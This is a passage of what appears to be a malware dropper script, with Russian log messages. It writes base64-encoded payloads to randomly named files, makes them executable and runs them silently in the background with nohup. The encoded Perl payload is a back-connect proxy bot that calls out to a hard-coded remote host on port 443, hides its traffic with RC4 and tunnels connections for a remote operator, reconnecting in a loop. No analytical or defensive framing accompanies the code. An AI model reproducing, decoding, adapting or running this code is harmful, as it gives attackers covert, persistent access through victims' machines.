IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #47 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #47 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 48 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTUnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr 